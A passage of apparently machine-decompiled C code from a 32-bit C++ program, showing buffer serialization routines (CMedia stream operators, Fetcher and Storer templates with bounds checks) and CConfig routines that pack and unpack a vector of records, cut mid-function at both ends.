int32_t v26 = CMedia__operator_lt__lt__lt_bool_gt_(&((struct struct_3 *)v25)->e0, (char *)v15); // 0x805a85c int32_t v27 = CMedia__operator_lt__lt__lt_int_gt_(&((struct struct_3 *)v26)->e0, &v14->e0); // 0x805a86b int32_t v28 = CMedia__operator_lt__lt__lt_int_gt_(&((struct struct_3 *)v27)->e0, &v13->e0); // 0x805a87a int32_t v29 = CMedia__operator_lt__lt__lt_unsigned_int_gt_(&((struct struct_3 *)v28)->e0, &v12->e0); // 0x805a889 int32_t v30 = CMedia__operator_lt__lt__lt_unsigned_int_gt_(&((struct struct_3 *)v29)->e0, &v11->e0); // 0x805a898 int32_t v31 = CMedia__operator_lt__lt__lt_unsigned_int_gt_(&((struct struct_3 *)v30)->e0, &v10->e0); // 0x805a8a7 int32_t v32 = CMedia__operator_lt__lt__lt_unsigned_int_gt_(&((struct struct_3 *)v31)->e0, &v9->e0); // 0x805a8b6 int32_t v33 = CMedia__operator_lt__lt__lt_unsigned_int_gt_(&((struct struct_3 *)v32)->e0, &v8->e0); // 0x805a8c5 int32_t v34 = CMedia__operator_lt__lt__lt_unsigned_short_gt_(&((struct struct_3 *)v33)->e0, (int16_t *)v7); // 0x805a8d4 int32_t v35 = CMedia__operator_lt__lt__lt_unsigned_short_gt_(&((struct struct_3 *)v34)->e0, (int16_t *)v6); // 0x805a8e3 int32_t v36 = CMedia__operator_lt__lt__lt_int_gt_(&((struct struct_3 *)v35)->e0, &v5->e0); // 0x805a8f2 CMedia__operator_lt__lt__lt_std__string_gt_(&((struct struct_3 *)v36)->e0, &((struct struct_3 *)(v4 + 76))->e0); int32_t result = CConfig__InitSize((int32_t **)a1); CMedia_513(); return result; } // Address range: 0x805b310 - 0x805b433 int32_t CConfig__Extract(struct struct_3 * a1, struct struct_3 * a2, int32_t a3) { int32_t v1 = CConfig__InitExtract(a1, a2, a3); // 0x805b323 int32_t v2 = (int32_t)a2 + v1; // 0x805b33b int32_t v3; CMedia_511((struct struct_3 *)&v3, v2, a3 - v1); int32_t v4 = (int32_t)a1 + 80; // 0x805b352 struct struct_3 * v5 = (struct struct_3 *)std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___size((int32_t **)v4); // 0x805b359_4 CMedia__operator_lt__lt__lt_int_gt_(&v3, &v5->e0); struct struct_3 * v6 = NULL; // bp-12 uint32_t v7 = g99; int32_t v8; // 0x805b3e6 if (v5 <= NULL) { // 0x805b3de v8 = *(int32_t *)(a1->e0 + 8); g95 = v8; g1 = v7 < 12; g103 = v7 == 12; ((int32_t (*)(int32_t))v8)(v3); CMedia_513(); return g95; } int32_t v9 = (int32_t)a1 + 80; // 0x805b386 int32_t v10 = std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___operator_lsb__rsb_((int32_t **)v9, &NULL->e0); // 0x805b38e int32_t v11 = (int32_t)a1 + 80; // 0x805b3a2 int32_t v12 = std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___operator_lsb__rsb_((int32_t **)v11, &v6->e0); // 0x805b3aa int32_t v13 = CMedia__operator_lt__lt__lt_unsigned_int_gt_(&v3, &((struct struct_3 *)v12)->e0); // 0x805b3ba struct struct_3 * v14 = (struct struct_3 *)(v10 + 4); // 0x805b3c5_0 CMedia__operator_lt__lt__lt_int_gt_(&((struct struct_3 *)v13)->e0, &v14->e0); struct struct_3 * v15 = (struct struct_3 *)((int32_t)v6 + 1); // 0x805b3d4_3 v6 = v15; v7 = g99; while (v15 < v5) { // 0x805b380 v9 = (int32_t)a1 + 80; v10 = std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___operator_lsb__rsb_((int32_t **)v9, &v15->e0); v11 = (int32_t)a1 + 80; v12 = std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___operator_lsb__rsb_((int32_t **)v11, &v6->e0); v13 = CMedia__operator_lt__lt__lt_unsigned_int_gt_(&v3, &((struct struct_3 *)v12)->e0); v14 = (struct struct_3 *)(v10 + 4); CMedia__operator_lt__lt__lt_int_gt_(&((struct struct_3 *)v13)->e0, &v14->e0); v15 = (struct struct_3 *)((int32_t)v6 + 1); v6 = v15; v7 = g99; // continue -> 0x805b380 } // 0x805b3de v8 = *(int32_t *)(a1->e0 + 8); g95 = v8; g1 = v7 < 12; g103 = v7 == 12; ((int32_t (*)(int32_t))v8)(v3); CMedia_513(); return g95; } // Address range: 0x805bb44 - 0x805bca9 int32_t CConfig__Absorb(struct struct_3 * a1, struct struct_3 * a2, int32_t a3) { int32_t v1 = CConfig__InitAbsorb(a1, a2, a3); // 0x805bb57 int32_t result; // 0x805bca22 if (v1 == a3) { // 0x805bb6a result = CConfig__InitSize((int32_t **)a1); // branch -> 0x805bca2 } else { int32_t v2 = (int32_t)a2 + v1; // 0x805bb8d int32_t v3; CMedia_511((struct struct_3 *)&v3, v2, a3 - v1); int32_t v4; CMedia__operator_gt__gt__lt_int_gt_(&v3, &v4); struct struct_3 * v5 = (struct struct_3 *)((int32_t)a1 + 80); // 0x805bbbd_0 std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___clear(&v5->e0); int32_t v6 = g99; int32_t v7; if (v4 > 0) { for (int32_t i = 0; i < v4; i++) { // 0x805bbcf CFakeCustom_144(&v7); int32_t v8 = CMedia__operator_gt__gt__lt_unsigned_int_gt_(&v3, &v7); // 0x805bbe9 int32_t v9; CMedia__operator_gt__gt__lt_int_gt_(&((struct struct_3 *)v8)->e0, &v9); struct struct_3 * v10 = (struct struct_3 *)((int32_t)a1 + 80); // 0x805bc11_0 std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___push_back(&v10->e0, &v7); CFakeCustom(); // continue -> 0x805bbcf } // 0x805bc4a v6 = g99; // branch -> 0x805bc56 } int32_t v11 = *(int32_t *)(a1->e0 + 8); // 0x805bc5e g95 = v11; g1 = v6 < 12; g103 = v6 == 12; ((int32_t (*)(int32_t))v11)(v7); CMedia_513(); result = g95; // branch -> 0x805bca2 } // 0x805bca2 return result; } // Address range: 0x805bdfe - 0x805be15 int32_t CFakeCustom_144(int32_t * a1) { int32_t result = (int32_t)a1; // 0x805be01 *a1 = 0; *(int32_t *)(result + 4) = 0; return result; } // Address range: 0x805ca26 - 0x805ca5d void std__out_of_range(void) { // 0x805ca26 int32_t v1; *(int32_t *)v1 = 0x80ff838; abort(); // UNREACHABLE } // Address range: 0x805ca96 - 0x805cc21 int32_t Fetcher_lt_std__string_gt___Done(int32_t a1, int32_t * a2, int32_t * a3) { int32_t v1 = g6; // 0x805cbd43 int32_t v2; // bp-88 int32_t v3; int32_t v4; // 0x805cc14 if (v1 == 0) { // 0x805cbe2 v2 = *a3 + *a2; v3 = a1; std__string__operator_eq_((int32_t **)&v3, (char *)&v2); v3 = a1; v4 = *a3 + std__string__size(&v3) + 1; g97 = v4; *a3 = v4; return (int32_t)a3; } int32_t v5 = 0; // branch -> 0x805caa9 while (true) { int32_t v6 = *a2 + v5; // 0x805cab1 if ((v6 & -256 | (int32_t)*(char *)v6) != 0) { int32_t v7 = v5 + 1; // 0x805cac1 g95 = v1; int32_t v8 = v1; // 0x805cbd4 if (v7 == v1) { // 0x805cacf int32_t v9; std__allocator_lt_char_gt__598(v9); int32_t v10; int32_t v11; int32_t v12; int32_t * v13; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v10, (int32_t)"", v9, (int32_t)v13, v12, v11); int32_t v14 = 8; int32_t v15 = __cxa_allocate_exception(&v14, (int32_t)""); // 0x805cafe v14 = v15; std__out_of_range_570(&v14, v10); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v10); std__allocator_lt_char_gt_(); __cxa_throw(v15, (int32_t)"\x28\x1F\x13\x08\x18\xF8\x0F\x08\xC4\x78\x10\x08\x53\x74\x31\x32\x6F\x75\x74\x5F\x6F\x66\x5F\x72\x61\x6E\x67\x65", (int32_t)std__out_of_range, 0x805cb70, v10); v8 = g6; // branch -> 0x805cbcf } // 0x805cbcf if (v7 >= v8) { // break -> 0x805cbe2 break; } v1 = v8; v5 = v7; // continue -> 0x805caa9 continue; } // 0x805cbe2 v2 = *a3 + *a2; v3 = a1; std__string__operator_eq_((int32_t **)&v3, (char *)&v2); v3 = a1; v4 = *a3 + std__string__size(&v3) + 1; g97 = v4; *a3 = v4; return (int32_t)a3; } // 0x805cbe2 v2 = *a3 + *a2; v3 = a1; std__string__operator_eq_((int32_t **)&v3, (char *)&v2); v3 = a1; v4 = *a3 + std__string__size(&v3) + 1; g97 = v4; *a3 = v4; return (int32_t)a3; } // Address range: 0x805cc22 - 0x805cdad int32_t Storer_lt_std__string_gt___Done(int32_t a1, int32_t * a2, int32_t * a3, uint32_t a4) { int32_t v1 = g98; // 0x805cc27 g98 = *a3; int32_t v2 = a1; // bp-76 uint32_t v3 = std__string__size(&v2) + 1 + g98; // 0x805cc41 int32_t v4 = (int32_t)(v3 <= a4) | v3 & -256; // 0x805cc45 g95 = v4 ^ 1; if (v4 != 1) { // 0x805cc50 int32_t v5; std__allocator_lt_char_gt__598(v5); int32_t v6; int32_t v7; int32_t * v8; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v6, (int32_t)"", v5, (int32_t)v8, v7, 0); v2 = 8; int32_t v9 = __cxa_allocate_exception(&v2, (int32_t)""); // 0x805cc7f v2 = v9; std__out_of_range_570(&v2, v6); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v6); std__allocator_lt_char_gt_(); __cxa_throw(v9, (int32_t)"\x28\x1F\x13\x08\x18\xF8\x0F\x08\xC4\x78\x10\x08\x53\x74\x31\x32\x6F\x75\x74\x5F\x6F\x66\x5F\x72\x61\x6E\x67\x65", (int32_t)std__out_of_range, 0x805ccf1, v6); // branch -> 0x805cd50 } int32_t v10 = a1; int32_t v11 = std__string__size(&v10) + 1; v10 = a1; int32_t v12 = std__string__c_str(&v10); // 0x805cd67 int32_t v13 = *a2; // 0x805cd74 int32_t v14 = *a3; // 0x805cd79 memcpy((int32_t *)(v14 + v13), (int32_t *)v12, v11); v10 = a1; *a3 = *a3 + std__string__size(&v10) + 1; g98 = v1; return (int32_t)a3; } // Address range: 0x805cdae - 0x805cdd5 int32_t CMedia__operator_gt__gt__lt_std__string_gt_(int32_t * a1, int32_t a2) { int32_t result = (int32_t)a1; // 0x805cdb4 Fetcher_lt_std__string_gt___Done(a2, a1, (int32_t *)(result + 8)); return result; } // Address range: 0x805cdf6 - 0x805ce6d int32_t CMedia__operator_lt__lt__lt_std__string_gt_(int32_t * a1, int32_t * a2) { int32_t v1 = g102; // 0x805cdf9 int32_t v2 = g101; // 0x805cdfa int32_t v3 = g98; // 0x805cdfb int32_t result = (int32_t)a1; // 0x805cdff g98 = *(int32_t *)(result + 4); g101 = result + 8; g102 = result; int32_t v4; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636(&v4, a2); Storer_lt_std__string_gt___Done(v4, (int32_t *)g102, (int32_t *)g101, g98); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v4); g98 = v3; g101 = v2; g102 = v1; return result; } // Address range: 0x805ce6e - 0x805ce73 void __gnu_cxx____mt_alloc_lt_CSubTask_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(void) { // 0x805ce6e return; } // Address range: 0x805ce74 - 0x805ce8b int32_t std__allocator_lt_CSubTask_gt_(int32_t * a1) { // 0x805ce74 __gnu_cxx____mt_alloc_lt_CSubTask_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(); return (int32_t)a1; } // Address range: 0x805ce8c - 0x805cea3 int32_t std__allocator_lt_CSubTask_gt__155(int32_t result) { // 0x805ce8c __gnu_cxx____mt_alloc_lt_CSubTask_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt_(); return result; } // Address range: 0x805d012 - 0x805d14d int32_t Fetcher_lt_bool_gt___Done(char * a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5) { int32_t v1 = *a3 + 1; // 0x805d01e g95 = v1; if (v1 > a4) { // 0x805d028 int32_t v2; std__allocator_lt_char_gt__598(v2); int32_t v3; int32_t v4; int32_t v5; int32_t * v6; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v3, (int32_t)"", v2, (int32_t)v6, v5, v4); int32_t v7 = 8; int32_t v8 = __cxa_allocate_exception(&v7, (int32_t)""); // 0x805d057 v7 = v8; std__out_of_range_570(&v7, v3); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v3); std__allocator_lt_char_gt_(); __cxa_throw(v8, (int32_t)"\x28\x1F\x13\x08\x18\xF8\x0F\x08\xC4\x78\x10\x08\x53\x74\x31\x32\x6F\x75\x74\x5F\x6F\x66\x5F\x72\x61\x6E\x67\x65", (int32_t)std__out_of_range, 0x805d0c9, v3); // branch -> 0x805d128 } // 0x805d128 *a1 = *(char *)(*a3 + *a2); *a3 = *a3 + 1; return (int32_t)a3; } // Address range: 0x805d14e - 0x805d175 int32_t CMedia__operator_gt__gt__lt_bool_gt_(int32_t * a1, char * a2) { int32_t result = (int32_t)a1; // 0x805d154 int32_t v1 = *(int32_t *)(result + 4); // 0x805d157 int32_t v2; Fetcher_lt_bool_gt___Done(a2, a1, (int32_t *)(result + 8), v1, v2); return result; } // Address range: 0x805d176 - 0x805d2b3 int32_t Fetcher_lt_int_gt___Done(int32_t * a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5) { int32_t v1 = *a3 + 4; // 0x805d182 g95 = v1; if (v1 > a4) { // 0x805d18e int32_t v2; std__allocator_lt_char_gt__598(v2); int32_t v3; int32_t v4; int32_t v5; int32_t * v6; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v3, (int32_t)"", v2, (int32_t)v6, v5, v4); int32_t v7 = 8; int32_t v8 = __cxa_allocate_exception(&v7, (int32_t)""); // 0x805d1bd v7 = v8; std__out_of_range_570(&v7, v3); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v3); std__allocator_lt_char_gt_(); __cxa_throw(v8, (int32_t)"\x28\x1F\x13\x08\x18\xF8\x0F\x08\xC4\x78\x10\x08\x53\x74\x31\x32\x6F\x75\x74\x5F\x6F\x66\x5F\x72\x61\x6E\x67\x65", (int32_t)std__out_of_range, 0x805d22f, v3); // branch -> 0x805d28e } // 0x805d28e *a1 = *(int32_t *)(*a3 + *a2); int32_t v9 = *a3 + 4; // 0x805d2a7 g97 = v9; *a3 = v9; return (int32_t)a3; } // Address range: 0x805d2b4 - 0x805d2db int32_t CMedia__operator_gt__gt__lt_int_gt_(int32_t * a1, int32_t * a2) { int32_t result = (int32_t)a1; // 0x805d2ba int32_t v1 = *(int32_t *)(result + 4); // 0x805d2bd g96 = result; int32_t v2; Fetcher_lt_int_gt___Done(a2, a1, (int32_t *)(result + 8), v1, v2); return result; } // Address range: 0x805d2dc - 0x805d41b int32_t Fetcher_lt_unsigned_short_gt___Done(int16_t * a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5) { int32_t v1 = *a3 + 2; // 0x805d2e8 g95 = v1; if (v1 > a4) { // 0x805d2f4 int32_t v2; std__allocator_lt_char_gt__598(v2); int32_t v3; int32_t v4; int32_t v5; int32_t * v6; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v3, (int32_t)"", v2, (int32_t)v6, v5, v4); int32_t v7 = 8; int32_t v8 = __cxa_allocate_exception(&v7, (int32_t)""); // 0x805d323 v7 = v8; std__out_of_range_570(&v7, v3); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v3); std__allocator_lt_char_gt_(); __cxa_throw(v8, (int32_t)"\x28\x1F\x13\x08\x18\xF8\x0F\x08\xC4\x78\x10\x08\x53\x74\x31\x32\x6F\x75\x74\x5F\x6F\x66\x5F\x72\x61\x6E\x67\x65", (int32_t)std__out_of_range, 0x805d395, v3); // branch -> 0x805d3f4 } // 0x805d3f4 *a1 = *(int16_t *)(*a3 + *a2); *a3 = *a3 + 2; return (int32_t)a3; } // Address range: 0x805d41c - 0x805d443 int32_t CMedia__operator_gt__gt__lt_unsigned_short_gt_(int32_t * a1, int16_t * a2) { int32_t result = (int32_t)a1; // 0x805d422 int32_t v1 = *(int32_t *)(result + 4); // 0x805d425 int32_t v2; Fetcher_lt_unsigned_short_gt___Done(a2, a1, (int32_t *)(result + 8), v1, v2); return result; } // Address range: 0x805d5b8 - 0x805d6f9 int32_t Storer_lt_bool_gt___Done(int32_t a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5) { int32_t v1 = *a3 + 1; // 0x805d5ca g95 = v1; if (v1 > a4) { // 0x805d5d4 int32_t v2; std__allocator_lt_char_gt__598(v2); int32_t v3; int32_t v4; int32_t v5; int32_t * v6; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v3, (int32_t)"", v2, (int32_t)v6, v5, v4); int32_t v7 = 8; int32_t v8 = __cxa_allocate_exception(&v7, (int32_t)""); // 0x805d603 v7 = v8; std__out_of_range_570(&v7, v3); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v3); std__allocator_lt_char_gt_(); __cxa_throw(v8, (int32_t)"\x28\x1F\x13\x08\x18\xF8\x0F\x08\xC4\x78\x10\x08\x53\x74\x31\x32\x6F\x75\x74\x5F\x6F\x66\x5F\x72\x61\x6E\x67\x65", (int32_t)std__out_of_range, 0x805d675, v3); // branch -> 0x805d6d4 } // 0x805d6d4 *(char *)(*a3 + *a2) = (char)a1; *a3 = *a3 + 1; return (int32_t)a3; } // Address range: 0x805d6fa - 0x805d72b int32_t CMedia__operator_lt__lt__lt_bool_gt_(int32_t * a1, char * a2) { int32_t v1 = g98; // 0x805d6fd int32_t result = (int32_t)a1; // 0x805d701 int32_t v2 = *(int32_t *)(result + 4); // 0x805d704 g98 = result; unsigned char v3 = *a2; // 0x805d713 int32_t v4; Storer_lt_bool_gt___Done((int32_t)v3, a1, (int32_t *)(result + 8), v2, v4); g98 = v1; return result; } // Address range: 0x805d72c - 0x805d869 int32_t Storer_lt_int_gt___Done(int32_t a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5) { int32_t v1 = *a3 + 4; // 0x805d738 g95 = v1; if (v1 > a4) { // 0x805d744 int32_t v2; std__allocator_lt_char_gt__598(v2); int32_t v3; int32_t v4; int32_t v5; int32_t * v6; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v3, (int32_t)"", v2, (int32_t)v6, v5, v4); int32_t v7 = 8; int32_t v8 = __cxa_allocate_exception(&v7, (int32_t)""); // 0x805d773 v7 = v8; std__out_of_range_570(&v7, v3); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v3); std__allocator_lt_char_gt_(); __cxa_throw(v8, (int32_t)"\x28\x1F\x13\x08\x18\xF8\x0F\x08\xC4\x78\x10\x08\x53\x74\x31\x32\x6F\x75\x74\x5F\x6F\x66\x5F\x72\x61\x6E\x67\x65", (int32_t)std__out_of_range, 0x805d7e5, v3); // branch -> 0x805d844 } // 0x805d844 *(int32_t *)(*a3 + *a2) = a1; int32_t v9 = *a3 + 4; // 0x805d85d g97 = v9; *a3 = v9; return (int32_t)a3; } // Address range: 0x805d86a - 0x805d899 int32_t CMedia__operator_lt__lt__lt_int_gt_(int32_t * a1, int32_t * a2) { int32_t v1 = g98; // 0x805d86d int32_t result = (int32_t)a1; // 0x805d871 int32_t v2 = *(int32_t *)(result + 4); // 0x805d874 int32_t v3 = result + 8; // 0x805d87a g96 = v3; g98 = result; int32_t v4; Storer_lt_int_gt___Done(*a2, a1, (int32_t *)v3, v2, v4); g98 = v1; return result; } // Address range: 0x805d89a - 0x805d9df int32_t Storer_lt_unsigned_short_gt___Done(int32_t a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5) { int32_t v1 = *a3 + 2; // 0x805d8ad g95 = v1; if (v1 > a4) { // 0x805d8b9 int32_t v2; std__allocator_lt_char_gt__598(v2); int32_t v3; int32_t v4; int32_t v5; int32_t * v6; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v3, (int32_t)"", v2, (int32_t)v6, v5, v4); int32_t v7 = 8; int32_t v8 = __cxa_allocate_exception(&v7, (int32_t)""); // 0x805d8e8 v7 = v8; std__out_of_range_570(&v7, v3); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v3); std__allocator_lt_char_gt_(); __cxa_throw(v8, (int32_t)"\x28\x1F\x13\x08\x18\xF8\x0F\x08\xC4\x78\x10\x08\x53\x74\x31\x32\x6F\x75\x74\x5F\x6F\x66\x5F\x72\x61\x6E\x67\x65", (int32_t)std__out_of_range, 0x805d95a, v3); // branch -> 0x805d9b9 } // 0x805d9b9 *(int16_t *)(*a3 + *a2) = (int16_t)a1; *a3 = *a3 + 2; return (int32_t)a3; } // Address range: 0x805d9e0 - 0x805da13 int32_t CMedia__operator_lt__lt__lt_unsigned_short_gt_(int32_t * a1, int16_t * a2) { int32_t v1 = g98; // 0x805d9e3 int32_t result = (int32_t)a1; // 0x805d9e7 int32_t v2 = *(int32_t *)(result + 4); // 0x805d9ea g98 = result; uint16_t v3 = *a2; // 0x805d9f9 int32_t v4; Storer_lt_unsigned_short_gt___Done((int32_t)v3, a1, (int32_t *)(result + 8), v2, v4); g98 = v1; return result; } // Address range: 0x805da14 - 0x805db51 int32_t Fetcher_lt_unsigned_int_gt___Done(int32_t * a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5) { int32_t v1 = *a3 + 4; // 0x805da20 g95 = v1; if (v1 > a4) { // 0x805da2c int32_t v2; std__allocator_lt_char_gt__598(v2); int32_t v3; int32_t v4; int32_t v5; int32_t * v6; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v3, (int32_t)"", v2, (int32_t)v6, v5, v4); int32_t v7 = 8; int32_t v8 = __cxa_allocate_exception(&v7, (int32_t)""); // 0x805da5b v7 = v8; std__out_of_range_570(&v7, v3); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v3); std__allocator_lt_char_gt_(); __cxa_throw(v8, (int32_t)"\x28\x1F\x13\x08\x18\xF8\x0F\x08\xC4\x78\x10\x08\x53\x74\x31\x32\x6F\x75\x74\x5F\x6F\x66\x5F\x72\x61\x6E\x67\x65", (int32_t)std__out_of_range, 0x805dacd, v3); // branch -> 0x805db2c } // 0x805db2c *a1 = *(int32_t *)(*a3 + *a2); int32_t v9 = *a3 + 4; // 0x805db45 g97 = v9; *a3 = v9; return (int32_t)a3; } // Address range: 0x805db52 - 0x805db79 int32_t CMedia__operator_gt__gt__lt_unsigned_int_gt_(int32_t * a1, int32_t * a2) { int32_t result = (int32_t)a1; // 0x805db58 int32_t v1 = *(int32_t *)(result + 4); // 0x805db5b int32_t v2; Fetcher_lt_unsigned_int_gt___Done(a2, a1, (int32_t *)(result + 8), v1, v2); return result; } // Address range: 0x805db7a - 0x805dbad int32_t __gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt___construct(int32_t * a1, int32_t * a2) { struct struct_18 * v1 = NULL; // bp+12 int32_t v2 = _ZnwjPv((int32_t *)8); // 0x805db88 struct struct_18 * v3 = (struct struct_18 *)v2; // 0x805db88_4 struct struct_18 * v4; // 0x805dbad_11 if (v2 != 0) { // 0x805db99 g96 = v2; v3->e0 = v1->e0; int32_t * v5 = v1->e1; // 0x805dba3 v3->e1 = v5; v4 = (struct struct_18 *)v5; // branch -> 0x805dbac } else { v4 = v3; } // 0x805dbac return (int32_t)v4; } // Address range: 0x805dbae - 0x805dceb int32_t Storer_lt_unsigned_int_gt___Done(int32_t a1, int32_t * a2, int32_t * a3, uint32_t a4, int32_t a5) { int32_t v1 = *a3 + 4; // 0x805dbba g95 = v1; if (v1 > a4) { // 0x805dbc6 int32_t v2; std__allocator_lt_char_gt__598(v2); int32_t v3; int32_t v4; int32_t v5; int32_t * v6; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v3, (int32_t)"", v2, (int32_t)v6, v5, v4); int32_t v7 = 8; int32_t v8 = __cxa_allocate_exception(&v7, (int32_t)""); // 0x805dbf5 v7 = v8; std__out_of_range_570(&v7, v3); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v3); std__allocator_lt_char_gt_(); __cxa_throw(v8, (int32_t)"\x28\x1F\x13\x08\x18\xF8\x0F\x08\xC4\x78\x10\x08\x53\x74\x31\x32\x6F\x75\x74\x5F\x6F\x66\x5F\x72\x61\x6E\x67\x65", (int32_t)std__out_of_range, 0x805dc67, v3); // branch -> 0x805dcc6 } // 0x805dcc6 *(int32_t *)(*a3 + *a2) = a1; *a3 = *a3 + 4; return (int32_t)a3; } // Address range: 0x805dcec - 0x805dd1b int32_t CMedia__operator_lt__lt__lt_unsigned_int_gt_(int32_t * a1, int32_t * a2) { int32_t v1 = g98; // 0x805dcef int32_t result = (int32_t)a1; // 0x805dcf3 int32_t v2 = *(int32_t *)(result + 4); // 0x805dcf6 g98 = result; int32_t v3; Storer_lt_unsigned_int_gt___Done(*a2, a1, (int32_t *)(result + 8), v2, v3); g98 = v1; return result; } // Address range: 0x805e0d6 - 0x805e0db void __gnu_cxx____mt_alloc_base_lt_CSubTask_gt_(void) { // 0x805e0d6 return; } // Address range: 0x805e4bc - 0x805e4c5 int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___max_size(void) { // 0x805e4bc return 0x1fffffff; } // Address range: 0x805e4c6 - 0x805e4fd int32_t __gnu_cxx__operator__lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(int32_t * a1, int32_t * a2) { int32_t v1 = __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(a1); // 0x805e4d3 int32_t v2 = __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(a2); // 0x805e4e5 return (*(int32_t *)v1 - *(int32_t *)v2) / 8; } // Address range: 0x805e4fe - 0x805e519 int32_t __gnu_cxx____mt_alloc_lt_CSubTask_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__160(int32_t a1) { // 0x805e4fe __gnu_cxx____mt_alloc_base_lt_CSubTask_gt_(); __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); return 0x8132c20; } // Address range: 0x805e51a - 0x805e535 int32_t std__allocator_lt_CSubTask_gt__161(int32_t a1, int32_t a2) { // 0x805e51a __gnu_cxx____mt_alloc_lt_CSubTask_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__160(a1); return 0x8132c20; } // Address range: 0x805f4a0 - 0x805f4e3 int32_t std____copy_lt_false_comma__std__random_access_iterator_tag_gt___copy_lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__gt_(struct struct_3 * a1, struct struct_3 * a2, struct struct_3 * a3) { struct struct_3 * v1 = a1; int32_t v2 = (int32_t)a2 - (int32_t)a1; // 0x805f4ae g96 = v2; if (v2 > 7) { g96 = (int32_t)a3; a3->e0 = a1->e0; a3->e1 = v1->e1; struct struct_3 * v3 = (struct struct_3 *)((int32_t)v1 + 8); // 0x805f4ca_4 v1 = v3; struct struct_3 * v4 = (struct struct_3 *)((int32_t)a3 + 8); // 0x805f4d1_4 int32_t v5 = v2 / 8 - 1; // 0x805f4d7 while (v5 > 0) { // 0x805f4ba a3 = v4; g96 = (int32_t)a3; a3->e0 = v3->e0; a3->e1 = v1->e1; v3 = (struct struct_3 *)((int32_t)v1 + 8); v1 = v3; v4 = (struct struct_3 *)((int32_t)a3 + 8); v5--; // continue -> 0x805f4ba } // 0x805f4d9 a3 = v4; // branch -> 0x805f4df } // 0x805f4df return (int32_t)a3; } // Address range: 0x805f4e4 - 0x805f503 int32_t std____copy_aux_lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__gt_(struct struct_3 * a1, struct struct_3 * a2, struct struct_3 * a3) { // 0x805f4e4 return std____copy_lt_false_comma__std__random_access_iterator_tag_gt___copy_lt_CFakeCustom__ptr__comma__CFakeCustom__ptr__gt_(a1, a2, a3); } // Address range: 0x805f504 - 0x805f56d int32_t 